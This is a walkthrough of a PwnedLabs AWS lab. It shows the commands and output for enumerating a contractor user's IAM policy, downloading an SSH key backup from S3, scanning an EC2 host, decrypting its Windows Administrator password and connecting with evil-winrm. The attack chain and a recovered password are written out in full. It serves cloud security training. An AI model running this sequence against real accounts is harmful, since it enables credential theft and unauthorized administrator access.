LEVERAGE STORAGE and BACKUPS

PWNEDLABS.IO

Enumerating the Policy

After setting `aws configure` with the access ID and secret key, we set the region to `us-east-1`.

```
$aws sts get-caller-identity
{
"UserId": "AIDAWHEOTHRFTEMEHGPPY",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/contractor"
}
```

We see the account number and ARN for a user, `contractor`.

Check for policies attached to the user `contractor`:

$aws iam list-attached-user-policies --user-name contractor
{
"AttachedPolicies": [
{
"PolicyName": "Policy",
"PolicyArn": "arn:aws:iam::427648302155:policy/Policy"
}
]
}

Now we get information about the `policy/Policy`:

$aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Policy
{
"Policy": {
"PolicyName": "Policy",
"PolicyId": "ANPAWHEOTHRFXRFIVBEXM",
"Arn": "arn:aws:iam::427648302155:policy/Policy",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,

"CreateDate": "2023-07-27T17:39:55+00:00",
"UpdateDate": "2023-07-28T14:24:22+00:00",
"Tags": []
}
}

Here we pay attention to the `DefaultVersionID` which is `v4`. The `versionID` is how the policy is interpreted by AWS, giving us features, roles and other critical information. Now to get the specifics of the `versionID`:

$aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Policy --version-id v4
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "ec2:DescribeInstances",
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": "ec2:GetPasswordData",
"Resource": "arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5"
},
{
"Sid": "VisualEditor2",
"Effect": "Allow",
"Action": [
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:GetUserPolicy",
"iam:ListAttachedUserPolicies",
"s3:GetBucketPolicy"
],
"Resource": [
"arn:aws:iam::427648302155:user/contractor",

"arn:aws:iam::427648302155:policy/Policy",
"arn:aws:s3:::hl-it-admin"
]
}
]
},
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2023-07-28T14:24:22+00:00"
}
}

Reading the output, we see we are able to `GetPasswordData` on the instance `i-04cc1c2c7ec1af1b5`, use `ec2 describe-instances` to get information about every instance running on the account, get policy information attached to our current user `contractor` with various `iam` commands, and get the `s3 bucket policy` information of the bucket `hl-it-admin`. We will start with the s3 bucket.

Enumerating the s3 Bucket

To enumerate the bucket `hl-it-admin` we just discovered:

```
$aws s3api get-bucket-policy --bucket hl-it-admin | jq
{
"Policy": "{\"Version\":\"2012-10-17\",\"Statement\":
[{\"Effect\":\"Allow\",\"Principal\":
{\"AWS\":\"arn:aws:iam::427648302155:user/contractor\"},\"Action\":\"s3:GetObje
ct\",\"Resource\":\"arn:aws:s3:::hl-it-admin/ssh_keys/ssh_keys_backup.zip\"}]}"
}
```

Here we see that we are allowed `GetObject` on some SSH key backup file as our user `contractor`. We do that thusly:

```
aws s3 cp s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip .
```

This will download the file to our local machine. Now, we unzip with `unzip` and the results will give us various `.pem` and `.ppk` files. To clean up, make a new directory and move them all there. Now to enumerate the ec2 instances.

Enumerating ec2 Instances

Knowing we have permission to `describeInstances` from our earlier enumeration, we will now enumerate the ec2 instances running on the machine:

$aws ec2 describe-instances --filters Name=instance-state-name,Values=running --query 'Reservations[].Instances[].[Tags[?Key== `Name`].Value | [0],InstanceId,Platform,State.Name,PrivateIpAddress,PublicIpAddress,InstanceType,PublicDnsName,KeyName]'

[
[
"Backup",
"i-04cc1c2c7ec1af1b5",
"windows",
"running",
"172.31.93.149",
"54.226.75.125",
"t2.micro",
"ec2-54-226-75-125.compute-1.amazonaws.com",
"it-admin"
],
[
"External",
"i-04a13bebeb74c8ac9",
null,
"running",
"172.31.84.235",
"52.0.51.234",
"t2.micro",
"ec2-52-0-51-234.compute-1.amazonaws.com",
"ian-content-static-5"

We see `Backup` and `External`. At the bottom of every section, we see a key name that launched the instance. Under `Backup` we see it was launched by the key `it-admin` which we may have access to. We will now scan with `nmap` on the public-facing IP address, which is the second IP in the list, right above the `computing instance`:

$nmap -sCV -A -p- 54.226.75.125 --min-rate 6000 -Pn
Starting Nmap 7.94SVN (https://nmap.org) at 2026-01-25 13:10 UTC
Nmap scan report for ec2-54-226-75-125.compute-1.amazonaws.com (54.226.75.125)
Host is up (0.13s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found

|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Port `5985` is open. This port is associated with a non-encrypted `Windows Remote Manager (WinRM)` service. Remembering back to the information gleaned from our `DefaultVersionID v4 policy` enumeration earlier, we are granted permission to `get-password-data` on this particular instance `i-04cc1c2c7ec1af1b5`. Use `cd` to go into the directory where the `ssh keys` from before are stored and we will try to retrieve password information on the instance:

aws ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5 --priv-launch-key it-admin.pem
{
"InstanceId": "i-04cc1c2c7ec1af1b5",
"PasswordData": "UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!",
"Timestamp": "2024-12-01T07:51:43+00:00"
}

We are able to retrieve the `PasswordData` because we have the `it-admin.pem` key, and the instance was launched by a key, `it-admin`. Simply add the parameter `--priv-launch-key` to the command, adding in the key file. Now that we have the `PasswordData`, we can connect to the non-encrypted `WinRM` service with a program such as `evil-winrm`.

Evil-WinRM

With `evil-winRM` we are able to connect to our instance as `Administrator`:

```
$evil-winrm -i 54.226.75.125 -u Administrator -p
'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!'
```